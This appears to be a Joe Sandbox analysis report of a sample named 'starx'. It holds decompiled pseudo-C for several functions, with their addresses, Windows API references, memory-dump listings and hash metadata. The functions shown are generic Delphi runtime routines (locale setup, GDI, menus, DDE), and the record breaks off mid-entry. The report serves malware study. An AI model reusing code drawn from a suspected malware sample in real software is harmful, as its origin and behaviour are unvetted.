						_v780 =  *((intOrPtr*)(_v776 + 8));
					} else {
						_v780 =  *((intOrPtr*)( *((intOrPtr*)(_v776 + 8))));
					}
					_v788 =  *_v780 & 0x0000ffff;
					_t79 = _v788 - 1;
					if(_t79 >= 0) {
						_t85 = _t79 + 1;
						_t96 = 0;
						_t97 =  &_v772;
						do {
							_v796 = _t97;
							_push(_v796 + 4);
							_t22 = _t96 + 1; // 0x1
							_push(_v780);
							L0040DA88();
							E0040E878(_v780);
							_push( &_v784);
							_t25 = _t96 + 1; // 0x1
							_push(_v780);
							L0040DA90();
							E0040E878(_v780);
							 *_v796 = _v784 -  *((intOrPtr*)(_v796 + 4)) + 1;
							_t96 = _t96 + 1;
							_t97 = _t97 + 8;
							_t85 = _t85 - 1;
						} while (_t85 != 0);
					}
					_t81 = _v788 - 1;
					if(_t81 >= 0) {
						_t84 = _t81 + 1;
						_t60 =  &_v768;
						_t92 =  &_v260;
						do {
							 *_t92 =  *_t60;
							_t92 = _t92 + 4;
							_t60 = _t60 + 8;
							_t84 = _t84 - 1;
						} while (_t84 != 0);
						do {
							goto L12;
						} while (E0040E950(_t83, _t98) != 0);
						goto L15;
					}
					L12:
					_t83 = _v788 - 1;
					if(E0040E920(_v788 - 1, _t98) != 0) {
						_push( &_v792);
						_push( &_v260);
						_push(_v780);
						L0040DA98();
						E0040E878(_v780);
						E0040EBA4(_v792);
					}
				}
				L15:
				_push(_v776);
				L0040D624();
				return E0040E878(_v776);
			}

0x0040e9b8
0x0040e9c8
0x0040e9cf
0x0040e9cf
0x0040e9da
0x0040e9e8
0x0040e9f7
0x0040ea15
0x0040e9f9
0x0040ea04
0x0040ea04
0x0040ea24
0x0040ea30
0x0040ea33
0x0040ea35
0x0040ea36
0x0040ea38
0x0040ea3e
0x0040ea40
0x0040ea4f
0x0040ea50
0x0040ea5a
0x0040ea5b
0x0040ea60
0x0040ea6b
0x0040ea6c
0x0040ea76
0x0040ea77
0x0040ea7c
0x0040ea97
0x0040ea99
0x0040ea9a
0x0040ea9d
0x0040ea9d
0x0040ea3e
0x0040eaa6
0x0040eaa9
0x0040eaab
0x0040eaac
0x0040eab2
0x0040eab8
0x0040eaba
0x0040eabc
0x0040eabf
0x0040eac2
0x0040eac2
0x0040eac5
0x00000000
0x00000000
0x00000000
0x0040eac5
0x0040eac5
0x0040eacc
0x0040ead7
0x0040eadf
0x0040eae6
0x0040eaed
0x0040eaee
0x0040eaf3
0x0040eafe
0x0040eafe
0x0040eb0c
0x0040eb10
0x0040eb16
0x0040eb17
0x0040eb27

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0040EA5B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0040EA77
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0040EAEE
VariantClear.OLEAUT32(?), ref: 0040EB17

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 222dfd55f4586741cf6c642e18797c671bdcc356e7018be82b80e885789c82a2
Instruction ID: 0f945e24cfac3276f0e704c62a62a671e2491875f231b4d4784d7da1d0c42533
Opcode Fuzzy Hash: 222dfd55f4586741cf6c642e18797c671bdcc356e7018be82b80e885789c82a2
Instruction Fuzzy Hash: FF411075A006198FCB61DB5AC894BC9B3BCEF48314F0045EAE549B7352DA38AF948F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B388, Relevance: 6.1, APIs: 4, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B388(intOrPtr* __eax, intOrPtr __ecx, void* __edx, void* __fp0, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v273;
				char _v534;
				char _v790;
				struct _MEMORY_BASIC_INFORMATION _v820;
				char _v824;
				intOrPtr _v828;
				char _v832;
				intOrPtr _v836;
				char _v840;
				intOrPtr _v844;
				char _v848;
				char* _v852;
				char _v856;
				char _v860;
				char _v1116;
				void* __edi;
				struct HINSTANCE__* _t40;
				intOrPtr _t51;
				struct HINSTANCE__* _t53;
				void* _t69;
				void* _t73;
				intOrPtr _t74;
				intOrPtr _t83;
				intOrPtr _t86;
				intOrPtr* _t87;
				void* _t93;

				_t93 = __fp0;
				_v8 = __ecx;
				_t73 = __edx;
				_t87 = __eax;
				VirtualQuery(__edx,  &_v820, 0x1c);
				if(_v820.State != 0x1000 || GetModuleFileNameA(_v820.AllocationBase,  &_v534, 0x105) == 0) {
					_t40 =  *0x47f664; // 0x400000
					GetModuleFileNameA(_t40,  &_v534, 0x105);
					_v12 = E0040B37C(_t73);
				} else {
					_v12 = _t73 - _v820.AllocationBase;
				}
				E004086E0( &_v273, 0x104, E0040C458(0x5c) + 1);
				_t74 = 0x40b508;
				_t86 = 0x40b508;
				_t83 =  *0x406f50; // 0x406f9c
				if(E004033FC(_t87, _t83) != 0) {
					_t74 = E00404480( *((intOrPtr*)(_t87 + 4)));
					_t69 = E0040867C(_t74, 0x40b508);
					if(_t69 != 0 &&  *((char*)(_t74 + _t69 - 1)) != 0x2e) {
						_t86 = 0x40b50c;
					}
				}
				_t51 =  *0x47e8f4; // 0x406cf0
				_t16 = _t51 + 4; // 0xffe8
				_t53 =  *0x47f664; // 0x400000
				LoadStringA(E0040505C(_t53),  *_t16,  &_v790, 0x100);
				E004031C0( *_t87,  &_v1116);
				_v860 =  &_v1116;
				_v856 = 4;
				_v852 =  &_v273;
				_v848 = 6;
				_v844 = _v12;
				_v840 = 5;
				_v836 = _t74;
				_v832 = 6;
				_v828 = _t86;
				_v824 = 6;
				E00408D18(_v8,  &_v790, _a4, _t93, 4,  &_v860);
				return E0040867C(_v8, _t86);
			}

0x0040b388
0x0040b394
0x0040b397
0x0040b399
0x0040b3a5
0x0040b3b4
0x0040b3de
0x0040b3e4
0x0040b3f0
0x0040b3f5
0x0040b3fb
0x0040b3fb
0x0040b419
0x0040b41e
0x0040b423
0x0040b42a
0x0040b437
0x0040b441
0x0040b445
0x0040b44c
0x0040b455
0x0040b455
0x0040b44c
0x0040b466
0x0040b46b
0x0040b46f
0x0040b47a
0x0040b487
0x0040b492
0x0040b498
0x0040b4a5
0x0040b4ab
0x0040b4b5
0x0040b4bb
0x0040b4c2
0x0040b4c8
0x0040b4cf
0x0040b4d5
0x0040b4f1
0x0040b504

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040B3A5
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0040B3C9
GetModuleFileNameA.KERNEL32(00400000,?,00000105), ref: 0040B3E4
LoadStringA.USER32 ref: 0040B47A

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: d358d45a62a3cb9d677962069c1b225e74567ef1198d37354fba9f67948a848e
Instruction ID: 1097c84001cc1e92289a210affd554474344093146fec0d38ff74f54914ca4ee
Opcode Fuzzy Hash: d358d45a62a3cb9d677962069c1b225e74567ef1198d37354fba9f67948a848e
Instruction Fuzzy Hash: D64120709002589BDB21EB59CD85BDEB7FCAB08304F4440FAA548F7292D7789F848F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B386, Relevance: 6.1, APIs: 4, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B386(intOrPtr* __eax, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v273;
				char _v534;
				char _v790;
				struct _MEMORY_BASIC_INFORMATION _v820;
				char _v824;
				intOrPtr _v828;
				char _v832;
				intOrPtr _v836;
				char _v840;
				intOrPtr _v844;
				char _v848;
				char* _v852;
				char _v856;
				char _v860;
				char _v1116;
				void* __edi;
				struct HINSTANCE__* _t40;
				intOrPtr _t51;
				struct HINSTANCE__* _t53;
				void* _t69;
				void* _t74;
				intOrPtr _t75;
				intOrPtr _t85;
				intOrPtr _t89;
				intOrPtr* _t92;
				void* _t105;

				_v8 = __ecx;
				_t74 = __edx;
				_t92 = __eax;
				VirtualQuery(__edx,  &_v820, 0x1c);
				if(_v820.State != 0x1000 || GetModuleFileNameA(_v820.AllocationBase,  &_v534, 0x105) == 0) {
					_t40 =  *0x47f664; // 0x400000
					GetModuleFileNameA(_t40,  &_v534, 0x105);
					_v12 = E0040B37C(_t74);
				} else {
					_v12 = _t74 - _v820.AllocationBase;
				}
				E004086E0( &_v273, 0x104, E0040C458(0x5c) + 1);
				_t75 = 0x40b508;
				_t89 = 0x40b508;
				_t85 =  *0x406f50; // 0x406f9c
				if(E004033FC(_t92, _t85) != 0) {
					_t75 = E00404480( *((intOrPtr*)(_t92 + 4)));
					_t69 = E0040867C(_t75, 0x40b508);
					if(_t69 != 0 &&  *((char*)(_t75 + _t69 - 1)) != 0x2e) {
						_t89 = 0x40b50c;
					}
				}
				_t51 =  *0x47e8f4; // 0x406cf0
				_t16 = _t51 + 4; // 0xffe8
				_t53 =  *0x47f664; // 0x400000
				LoadStringA(E0040505C(_t53),  *_t16,  &_v790, 0x100);
				E004031C0( *_t92,  &_v1116);
				_v860 =  &_v1116;
				_v856 = 4;
				_v852 =  &_v273;
				_v848 = 6;
				_v844 = _v12;
				_v840 = 5;
				_v836 = _t75;
				_v832 = 6;
				_v828 = _t89;
				_v824 = 6;
				E00408D18(_v8,  &_v790, _a4, _t105, 4,  &_v860);
				return E0040867C(_v8, _t89);
			}

0x0040b394
0x0040b397
0x0040b399
0x0040b3a5
0x0040b3b4
0x0040b3de
0x0040b3e4
0x0040b3f0
0x0040b3f5
0x0040b3fb
0x0040b3fb
0x0040b419
0x0040b41e
0x0040b423
0x0040b42a
0x0040b437
0x0040b441
0x0040b445
0x0040b44c
0x0040b455
0x0040b455
0x0040b44c
0x0040b466
0x0040b46b
0x0040b46f
0x0040b47a
0x0040b487
0x0040b492
0x0040b498
0x0040b4a5
0x0040b4ab
0x0040b4b5
0x0040b4bb
0x0040b4c2
0x0040b4c8
0x0040b4cf
0x0040b4d5
0x0040b4f1
0x0040b504

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040B3A5
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0040B3C9
GetModuleFileNameA.KERNEL32(00400000,?,00000105), ref: 0040B3E4
LoadStringA.USER32 ref: 0040B47A

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 1a358863d2f35590db6b600e7d4cdafb37d341b022cc6b1d4a67c41561e3fe9c
Instruction ID: 083a02771e164ffc9e1cfbd70a1bf8f5bcbffa9f2fee7788edcf794d82aebad3
Opcode Fuzzy Hash: 1a358863d2f35590db6b600e7d4cdafb37d341b022cc6b1d4a67c41561e3fe9c
Instruction Fuzzy Hash: CC411270A006589BDB21EB59CD85B9EB7ECEB18304F4440FAA548F7292D7789F848F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5AC, Relevance: 6.1, APIs: 4, Instructions: 95
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C5AC() {
				char _v152;
				short _v410;
				signed short _t14;
				signed int _t16;
				int _t18;
				void* _t20;
				void* _t23;
				int _t24;
				int _t26;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t37;
				int* _t39;
				short* _t41;
				void* _t49;

				 *0x47f740 = 0x409;
				 *0x47f744 = 9;
				 *0x47f748 = 1;
				_t14 = GetThreadLocale();
				if(_t14 != 0) {
					 *0x47f740 = _t14;
				}
				if(_t14 != 0) {
					 *0x47f744 = _t14 & 0x3ff;
					 *0x47f748 = (_t14 & 0x0000ffff) >> 0xa;
				}
				memcpy(0x46710c, 0x40c700, 8 << 2);
				if( *0x4670c4 != 2) {
					_t16 = GetSystemMetrics(0x4a);
					__eflags = _t16;
					 *0x47f74d = _t16 & 0xffffff00 | _t16 != 0x00000000;
					_t18 = GetSystemMetrics(0x2a);
					__eflags = _t18;
					_t31 = _t30 & 0xffffff00 | _t18 != 0x00000000;
					 *0x47f74c = _t31;
					__eflags = _t31;
					if(__eflags != 0) {
						return E0040C534(__eflags, _t49);
					}
				} else {
					_t20 = E0040C594();
					if(_t20 != 0) {
						 *0x47f74d = 0;
						 *0x47f74c = 0;
						return _t20;
					}
					E0040C534(__eflags, _t49);
					_t37 = 0x20;
					_t23 = E00402DA0(0x46710c, 0x20, 0x40c700);
					_t32 = _t30 & 0xffffff00 | __eflags != 0x00000000;
					 *0x47f74c = _t32;
					__eflags = _t32;
					if(_t32 != 0) {
						 *0x47f74d = 0;
						return _t23;
					}
					_t24 = 0x80;
					_t39 =  &_v152;
					do {
						 *_t39 = _t24;
						_t24 = _t24 + 1;
						_t39 =  &(_t39[0]);
						__eflags = _t24 - 0x100;
					} while (_t24 != 0x100);
					_t26 =  *0x47f740; // 0x409
					GetStringTypeA(_t26, 2,  &_v152, 0x80,  &_v410);
					_t18 = 0x80;
					_t41 =  &_v410;
					while(1) {
						__eflags =  *_t41 - 2;
						_t37 = _t37 & 0xffffff00 |  *_t41 == 0x00000002;
						 *0x47f74d = _t37;
						__eflags = _t37;
						if(_t37 != 0) {
							goto L17;
						}
						_t41 = _t41 + 2;
						_t18 = _t18 - 1;
						__eflags = _t18;
						if(_t18 != 0) {
							continue;
						} else {
							return _t18;
						}
						L18:
					}
				}
				L17:
				return _t18;
				goto L18;
			}

0x0040c5b8
0x0040c5c2
0x0040c5cc
0x0040c5d6
0x0040c5dd
0x0040c5df
0x0040c5df
0x0040c5e7
0x0040c5f3
0x0040c5ff
0x0040c5ff
0x0040c613
0x0040c61c
0x0040c6cb
0x0040c6d0
0x0040c6d5
0x0040c6dc
0x0040c6e1
0x0040c6e3
0x0040c6e6
0x0040c6ec
0x0040c6ee
0x00000000
0x0040c6f6
0x0040c622
0x0040c622
0x0040c629
0x0040c62b
0x0040c632
0x00000000
0x0040c632
0x0040c63f
0x0040c64f
0x0040c651
0x0040c656
0x0040c659
0x0040c65f
0x0040c661
0x0040c663
0x00000000
0x0040c663
0x0040c66f
0x0040c674
0x0040c67a
0x0040c67a
0x0040c67c
0x0040c67d
0x0040c67e
0x0040c67e
0x0040c69a
0x0040c6a0
0x0040c6a5
0x0040c6aa
0x0040c6b0
0x0040c6b0
0x0040c6b4
0x0040c6b7
0x0040c6bd
0x0040c6bf
0x00000000
0x00000000
0x0040c6c1
0x0040c6c4
0x0040c6c4
0x0040c6c5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c6c5
0x0040c6b0
0x0040c6fd
0x0040c6fd
0x00000000

APIs

GetStringTypeA.KERNEL32(00000409,00000002,?,00000080,?), ref: 0040C6A0
GetThreadLocale.KERNEL32 ref: 0040C5D6

Part of subcall function 0040C534: GetCPInfo.KERNEL32(00000000,?), ref: 0040C54D

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: f84b7fb8172d91b0c7bf9e507744a4afc876cf39e127e30622f40a3257aecb78
Instruction ID: fcc56d93b70bf8a3e1a78c5d415387e1ec625d3696d3a73ba2f1d850446eaeaa
Opcode Fuzzy Hash: f84b7fb8172d91b0c7bf9e507744a4afc876cf39e127e30622f40a3257aecb78
Instruction Fuzzy Hash: A5317B61504351DAD730DB25AC817B23B94EB51304F4482B7E488BB3D2DB7E488DD7AE

Uniqueness

Uniqueness Score: -1.00%

Function 00421044, Relevance: 6.1, APIs: 4, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00421044(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __esi;
				void* __ebp;
				intOrPtr _t33;
				struct HDC__* _t47;
				intOrPtr _t54;
				intOrPtr _t58;
				struct HDC__* _t66;
				void* _t67;
				intOrPtr _t76;
				void* _t81;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t86;

				_t84 = _t86;
				_push(_t67);
				_v8 = __eax;
				_t33 = _v8;
				if( *((intOrPtr*)(_t33 + 0x58)) == 0) {
					return _t33;
				} else {
					E0041D6AC(_v8);
					_push(_t84);
					_push(0x421123);
					_push( *[fs:eax]);
					 *[fs:eax] = _t86;
					E00422360( *((intOrPtr*)(_v8 + 0x58)));
					E00420EC0( *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8));
					_t47 = E00422460( *((intOrPtr*)(_v8 + 0x58)));
					_push(0);
					L0040626C();
					_t66 = _t47;
					_t81 =  *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8);
					if(_t81 == 0) {
						 *((intOrPtr*)(_v8 + 0x5c)) = 0;
					} else {
						 *((intOrPtr*)(_v8 + 0x5c)) = SelectObject(_t66, _t81);
					}
					_t54 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28));
					_t82 =  *((intOrPtr*)(_t54 + 0x10));
					if(_t82 == 0) {
						 *((intOrPtr*)(_v8 + 0x60)) = 0;
					} else {
						_push(0xffffffff);
						_push(_t82);
						_push(_t66);
						L004063E4();
						 *((intOrPtr*)(_v8 + 0x60)) = _t54;
						_push(_t66);
						L004063B4();
					}
					E0041DAD8(_v8, _t66);
					_t58 =  *0x4676d0; // 0x2330acc
					E00413F64(_t58, _t66, _t67, _v8, _t82);
					_pop(_t76);
					 *[fs:eax] = _t76;
					_push(0x42112a);
					return E0041D950(_v8);
				}
			}

0x00421045
0x00421047
0x0042104a
0x0042104d
0x00421054
0x0042112e
0x0042105a
0x0042105d
0x00421064
0x00421065
0x0042106a
0x0042106d
0x00421076
0x00421087
0x00421092
0x00421097
0x00421099
0x0042109e
0x004210a9
0x004210ae
0x004210c4
0x004210b0
0x004210ba
0x004210ba
0x004210cd
0x004210d0
0x004210d5
0x004210f3
0x004210d7
0x004210d7
0x004210d9
0x004210da
0x004210db
0x004210e3
0x004210e6
0x004210e7
0x004210e7
0x004210fb
0x00421103
0x00421108
0x0042110f
0x00421112
0x00421115
0x00421122
0x00421122

APIs

Part of subcall function 0041D6AC: RtlEnterCriticalSection.KERNEL32(0047F8C0,00000000,0041C11E,00000000,0041C17D), ref: 0041D6B4
Part of subcall function 0041D6AC: RtlLeaveCriticalSection.KERNEL32(0047F8C0,0047F8C0,00000000,0041C11E,00000000,0041C17D), ref: 0041D6C1
Part of subcall function 0041D6AC: RtlEnterCriticalSection.KERNEL32(00000038,0047F8C0,0047F8C0,00000000,0041C11E,00000000,0041C17D), ref: 0041D6CA

Part of subcall function 00422460: 739EAC50.USER32(00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224B6
Part of subcall function 00422460: 739EAD70.GDI32(00000000,0000000C,00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224CB
Part of subcall function 00422460: 739EAD70.GDI32(00000000,0000000E,00000000,0000000C,00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224D5
Part of subcall function 00422460: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224F9
Part of subcall function 00422460: 739EB380.USER32(00000000,00000000,00000000,?,?,?,?,00421097,00000000,00421123), ref: 00422504

739EA590.GDI32(00000000,00000000,00421123), ref: 00421099
SelectObject.GDI32(00000000,?), ref: 004210B2
739EB410.GDI32(00000000,?,000000FF,00000000,00000000,00421123), ref: 004210DB
739EB150.GDI32(00000000,00000000,?,000000FF,00000000,00000000,00421123), ref: 004210E7

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CriticalSection$Enter$A590B150B380B410CreateHalftoneLeaveObjectPaletteSelect
String ID:
API String ID: 2198039625-0
Opcode ID: a0c55f0a7965c940574b24e97206a6b83bf0b3d5e62586d824b24be5df299057
Instruction ID: 146caa5e35e4e60a79aed846449283dd60da7a939ae4d72266a63adecf21edbc
Opcode Fuzzy Hash: a0c55f0a7965c940574b24e97206a6b83bf0b3d5e62586d824b24be5df299057
Instruction Fuzzy Hash: 80312974B04668EFC704EB59D981D5EB3F5EF48314B6241A6F804AB362D638EE80DB44

Uniqueness

Uniqueness Score: -1.00%

Function 004509A8, Relevance: 6.1, APIs: 4, Instructions: 72
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004509A8(void* __eax, struct HMENU__* __edx, int _a4, int _a8, CHAR* _a12) {
				intOrPtr _v8;
				void* __ecx;
				void* __edi;
				int _t27;
				void* _t40;
				int _t41;
				int _t50;

				_t50 = _t41;
				_t49 = __edx;
				_t40 = __eax;
				if(E004500B4(__eax) == 0) {
					return GetMenuStringA(__edx, _t50, _a12, _a8, _a4);
				}
				_v8 = 0;
				if((GetMenuState(__edx, _t50, _a4) & 0x00000010) == 0) {
					_t27 = GetMenuItemID(_t49, _t50);
					_t51 = _t27;
					if(_t27 != 0xffffffff) {
						_v8 = E0044FF30(_t40, 0, _t51);
					}
				} else {
					_t49 = GetSubMenu(_t49, _t50);
					_v8 = E0044FF30(_t40, 1, _t37);
				}
				if(_v8 == 0) {
					return 0;
				} else {
					 *_a12 = 0;
					E00408738(_a12, _a8,  *((intOrPtr*)(_v8 + 0x30)));
					return E0040867C(_a12, _t49);
				}
			}

0x004509af
0x004509b1
0x004509b3
0x004509be
0x00000000
0x00450a42
0x004509c2
0x004509d2
0x004509ef
0x004509f4
0x004509f9
0x00450a06
0x00450a06
0x004509d4
0x004509db
0x004509e8
0x004509e8
0x00450a0d
0x00000000
0x00450a0f
0x00450a12
0x00450a21
0x00000000
0x00450a29

APIs

GetMenuState.USER32 ref: 004509CB
GetSubMenu.USER32 ref: 004509D6
GetMenuItemID.USER32(?,?), ref: 004509EF
GetMenuStringA.USER32(?,?,?,?,?), ref: 00450A42

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Menu$ItemStateString
String ID:
API String ID: 306270399-0
Opcode ID: fd8eb6657ec7734dbc45757b39dbdbf9ddaff0566efae9225a056d9bf03a7c45
Instruction ID: 655ef21a07633f8f4f93b4b75e37581b8e6fd7a48afd8d952f0deefda56fd13a
Opcode Fuzzy Hash: fd8eb6657ec7734dbc45757b39dbdbf9ddaff0566efae9225a056d9bf03a7c45
Instruction Fuzzy Hash: 36117F75201244AFD700EA69CC81EAF77E8AF59354B10443BFC09D7382DA389D06D7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00464D58, Relevance: 6.1, APIs: 4, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00464D58(void* __eax) {
				char _v8;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t31;
				char* _t38;
				intOrPtr _t39;
				void* _t42;
				void* _t49;
				intOrPtr* _t50;

				_t50 = _t49 + 0xfffffff8;
				_t42 = __eax;
				 *_t50 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__eax + 0xc)) + 0x38)) != 0 && E00404280( *((intOrPtr*)(__eax + 4))) != 0) {
					if( *((intOrPtr*)(_t42 + 8)) == 0) {
						_t38 = E00404480( *((intOrPtr*)(_t42 + 4)));
						_t39 =  *0x47fe68; // 0x2331f58
						 *((intOrPtr*)(_t42 + 8)) = DdeCreateStringHandleA( *(_t39 + 0x44), _t38, 0x3ec);
					}
					_push( &_v8);
					_push(0x3e8);
					_push(0x1034);
					_t25 =  *((intOrPtr*)(_t42 + 0xc));
					_push( *((intOrPtr*)(_t25 + 0xa8)));
					_push( *((intOrPtr*)(_t42 + 8)));
					_t26 =  *((intOrPtr*)(_t25 + 0x38));
					_push(_t26);
					_push(0xffffffff);
					_push(0);
					L00462B04();
					if(_t26 != 0) {
						 *_t50 = 1;
					} else {
						_t27 =  *0x47fe68; // 0x2331f58
						DdeGetLastError( *(_t27 + 0x44));
						_t31 =  *0x47fe68; // 0x2331f58
						L00462B44();
						 *((intOrPtr*)(_t42 + 8)) = 0;
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t42 + 0x10)) + 0x30)))) + 0x44))( *((intOrPtr*)(_t31 + 0x44)),  *((intOrPtr*)(_t42 + 8)));
					}
				}
				return  *_t50;
			}

0x00464d59
0x00464d5c
0x00464d5e
0x00464d69
0x00464d83
0x00464d8d
0x00464d93
0x00464da1
0x00464da1
0x00464da8
0x00464da9
0x00464dae
0x00464db3
0x00464dbc
0x00464dc0
0x00464dc1
0x00464dc4
0x00464dc5
0x00464dc7
0x00464dc9
0x00464dd0
0x00464e04
0x00464dd2
0x00464dd2
0x00464ddb
0x00464de4
0x00464ded
0x00464df4
0x00464dff
0x00464dff
0x00464dd0
0x00464e0e

APIs

DdeCreateStringHandleA.USER32 ref: 00464D9C
DdeClientTransaction.USER32(00000000,000000FF,00000000,?,?,00001034,000003E8,?), ref: 00464DC9
DdeGetLastError.USER32 ref: 00464DDB
DdeFreeStringHandle.USER32 ref: 00464DED

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: HandleString$ClientCreateErrorFreeLastTransaction
String ID:
API String ID: 2421758087-0
Opcode ID: dd4cf7aedf901fe35d5e91883560d6de563890204e52a0ad6977d9f1246d7331
Instruction ID: 1cc582ecd196395baa2513447a9fb2d4929e59d4b53dfe3ff248bdbbd5c2431b
